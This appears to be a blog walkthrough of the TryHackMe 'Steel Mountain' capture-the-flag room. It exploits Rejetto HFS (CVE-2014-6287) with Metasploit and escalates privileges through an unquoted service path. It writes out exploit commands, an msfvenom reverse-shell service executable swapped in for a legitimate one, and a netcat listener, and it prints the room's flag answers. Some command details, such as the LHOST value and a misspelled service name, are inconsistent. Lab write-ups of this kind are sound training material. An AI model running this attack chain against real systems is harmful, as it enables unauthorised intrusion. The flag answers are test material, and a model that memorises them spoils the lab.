# THM | Steel Mountain

# **Steel Mountain**

* Hack into a Mr. Robot themed Windows machine. Use Metasploit for initial access, utilize Powershell for Windows PrivEsc enumeration and learn a new technique to get Administrator access.
    

# **Task 1: Introduction**

* Target IP: 10.10.200.57
    

![](https://miro.medium.com/v2/resize:fit:875/1*kgGKr6giffm_fullygeuTg.png align="left")

[http://10.10.200.57](http://10.10.200.57)

* The first question wants us to answer the following:
    

> *Who is the employee of the month?*

* To save you a lot of time and frustration of finding Bill’s last name, simply right click and select “View Page Source”. You should find the following:
    

> *<img src=”/img/****BillHarper****.png” style=”width:200px;height:200px;”/>*
> 
> *Q: Who is the employee of the month?*
> 
> ***A: Bill Harper***

# **Task 2: Initial Access**

* Let’s start by gleaning some information about the IP using Nmap.
    

> *nmap -O -sV -sC — script vuln -oN steel.nmap 10.10.200.57*

— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — *Coffee break☕* — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —

* After scanning and offloading the output to a file named “steel.nmap” so I can use for reference later , we learn that the following ports are open:
    

![](https://miro.medium.com/v2/resize:fit:805/1*2pG-MLza8MbXJ3uSXst31g.png align="left")

Open port enumeration results

> *Q: Scan the machine with nmap. What is the other port running a web server on?*
> 
> ***A: 8080***

* Since we’ve already taken a look at the first webserver running on port 80, let’s take a look at port 8080.
    

![](https://miro.medium.com/v2/resize:fit:875/1*gSmLxmIHSGymHdjQDbKtOQ.png align="left")

[http://10.10.200.57:8080](http://10.10.200.57:8080)

* The important information given here is located on the bottom left of the page. Select the HttpFileServer 2.3 hyperlink to learn who the vendor is.
    

![](https://miro.medium.com/v2/resize:fit:875/1*HY6sA73__CksuNikwGjwLg.png align="left")

Vendor: rejetto

> *Q: Take a look at the other web server. What file server is running?*
> 
> ***A: Rejetto HTTP File Server***

* With the information that we’ve gathered thus far, we can either use the Exploit-DB website to find any CVE’s that can be used to exploit this server, use the CLI searchsploit command, or we can interact with msfconsole’s local Metasploit framework module database. I’ll be using the searchsploit command to enumerate the exploit along with its CVE number.
    

![](https://miro.medium.com/v2/resize:fit:875/1*voNJmknzDrDdX4gz2inRFA.png align="left")

Enumerating the CVE. Any of the listed exploits should return the same CVE number.

> *Q: What is the CVE number to exploit this file server?*
> 
> ***A: 2014–6287***

![](https://miro.medium.com/v2/resize:fit:875/1*Z7cCpBUCyC3u6Zbe73B7Vg.png align="left")

Discovered one vulnerability.

* Within Metasploit you can run the following to gain a meterpreter session:
    

> *use 0*
> 
> *set RHOSTS 10.10.200.57*
> 
> *set RPORT 8080*
> 
> *set LPORT 9090*
> 
> *run*

![](https://miro.medium.com/v2/resize:fit:875/1*D4qxzG_9RpR5RNE8aLL2fw.png align="left")

meterpreter session started.

* Once we reach our meterpreter session we’ll find that we are located in the following directory path:
    

> *C:\\Users\\bill\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup*

* cd back to C:\\Users\\bill\\Desktop to find your flag.
    

> *Q: Use Metasploit to get an initial shell. What is the user flag?*
> 
> ***A: b04763b6fcf51fcd7c13abc7db4fd365***

# **Task 3: PrivEsc**

* Now, we will escalate our privileges to root.
    

LOLBins!

![](https://miro.medium.com/v2/resize:fit:875/1*N3xfK5ioodtxzz4OjJwFeg.png align="left")

Download the raw file.

![](https://miro.medium.com/v2/resize:fit:875/1*a_R4Ag4O2ZQKyxbW6-lANg.png align="left")

Create a new terminal and place the downloaded .ps1 file into the following path for upload to meterpreter shell.

* Follow the THM instructions:
    

![](https://miro.medium.com/v2/resize:fit:875/1*bbVSyOdBR6p3UkchqtQlmA.png align="left")

upload completed.

* Run the following commands within the meterpreter shell:
    

> *load powershell*
> 
> *powershell\_shell*

![](https://miro.medium.com/v2/resize:fit:875/1*EjQ3SaCbl0gmBf_H5-QhXg.png align="left")

Powershell shell successfully loaded.

* At this point, what we are trying to do now is run the [PowerUp.ps](http://PowerUp.ps)1 script to discover a vulnerability within bill’s system so we can escalate our privileges to root. We do this by finding a service that is running on his machine that is vulnerable to exploitation.
    
* Run the following:
    

![](https://miro.medium.com/v2/resize:fit:875/1*DWkEt3QLX8KTnf-gN9ltpQ.png align="left")

Running [PowerUp.ps](http://PowerUp.ps)1 to enumerate vulnerabilities.

![](https://miro.medium.com/v2/resize:fit:875/1*z_ZoI5MBAWBxEeFx5WetZw.png align="left")

Discovering the vulnerable service running on bill’s machine.

> *Q: Take close attention to the CanRestart option that is set to true. What is the name of the service which shows up as an unquoted service path vulnerability?*
> 
> ***A: AdvancedSystemCareService9***

* The CanRestart option being true, allows us to restart a service on the system, the directory to the application is also write-able. This means we can replace the legitimate application with our malicious one, restart the service, which will run our infected program!
    
* Now you may be asking, which infected program? With the power of msfvenom I can show you. The goal here is to create our own service that we can replace with the real vulnerable “ASCService.exe” running on bill’s machine, under the same service name, with a new infected payload executable generated by the msfvenom tool.
    
* Exit the Powershell shell (Ctrl + C) we don’t need this anymore because we’ve already used it for finding the vulnerable service running on bill’s machine. (We can stay in the PS shell and run commands from here, but we are going to move away from it in the write-up.
    
* Now, we can put our meterpreter session in the background and return to it later (Ctrl + Z). You can fully exit out of the session as well but then you’d have to reconnect which just takes longer. I will be putting it in the background so I can return to it in a bit. What I am going to focus on now is loading the msfvenom payload under the legit service name running on bill’s machine. This way, once the infected ASCService.exe is uploaded, we can masquerade it and swap it out for the vulnerable one.
    

![](https://miro.medium.com/v2/resize:fit:875/1*yQj94lVYtl4nbsAwu0jBtg.png align="left")

Getting to where I want to start working w/ msfvenom.

* Run the following:
    

> *msfvenom -p windows/shell\_reverse\_tcp LHOST=10.10.200.57 LPORT=4443 -e x86/shikata\_ga\_nai -f exe-service -o ASCService.exe*

![](https://miro.medium.com/v2/resize:fit:875/1*fDpUCXwqiAltT8sIiTIwKg.png align="left")

Running msfvenom reverse shell payload and saving it as ASCService.exe

* Make sure your LHOST is set to whatever your local THM machine VPN IP is set to:
    

![](https://miro.medium.com/v2/resize:fit:424/1*d6jPHzMu9btgHkaXV9Tx_g.png align="left")

tun0 IP aka LHOST.

![](https://miro.medium.com/v2/resize:fit:875/1*HayETZ7OGQviI9bVTg0UBw.png align="left")

.exe downloaded location.

* Since my tailored/infected ASCService.exe is located in my /root folder. My meterpreter shell should upload from this specific path. See the following for guidance:
    

![](https://miro.medium.com/v2/resize:fit:875/1*m5lNPEN3F8pIiIC5OcU0Lg.png align="left")

uploading the .exe from the downloaded location.

* Also take note to upload from C:\\Users\\bill. Uploading from other paths may deny you access.
    
* Now, it is time to replace the legitimate service with our infected one.
    
* Drop down a Windows shell by running:
    

> *shell*

![](https://miro.medium.com/v2/resize:fit:875/1*eWLxgkWTgI702urRqOANLA.png align="left")

Dropping down into a Windows shell.

* Stop the legitimate process running on bill’s machine:
    

> *sc stop AndvancedSystemCareService9*

![](https://miro.medium.com/v2/resize:fit:875/1*JxyTMF9F-UU0mPRa0UqJlg.png align="left")

AdvancedSystemCareService9 stopped so we can swap.

![](https://miro.medium.com/v2/resize:fit:875/1*D8XCKGRbH_ONfNs9a7FEOA.png align="left")

Appropriate paths copied and swapped.

* Copy the file and start a separate terminal to listen on via Netcat.
    
* Run the following:
    

> *nc -lvnp 4443*

![](https://miro.medium.com/v2/resize:fit:875/1*45o0IS9KyJ4mQefeGj9ahQ.png align="left")

Starting AdvancedSystemCareService9 w/ swapped out ASCService.exe.

![](https://miro.medium.com/v2/resize:fit:875/1*G7Yj1zahR30bg5-rG-ZS7w.png align="left")

listening in via Netcat using port 4443.

* Make sure to listen first before starting the service.
    
* Navigate to C:\\Users\\Administrator\\Desktop\\root.txt to get the flag.
    

![](https://miro.medium.com/v2/resize:fit:875/1*JJ73zU8AKDYVCCIG8qu57A.png align="left")

Obtaining the root flag!

> *Q: What is the root flag?*
> 
> ***A: 9af5f314f57607c00fd09803a587db80***

Congratulations!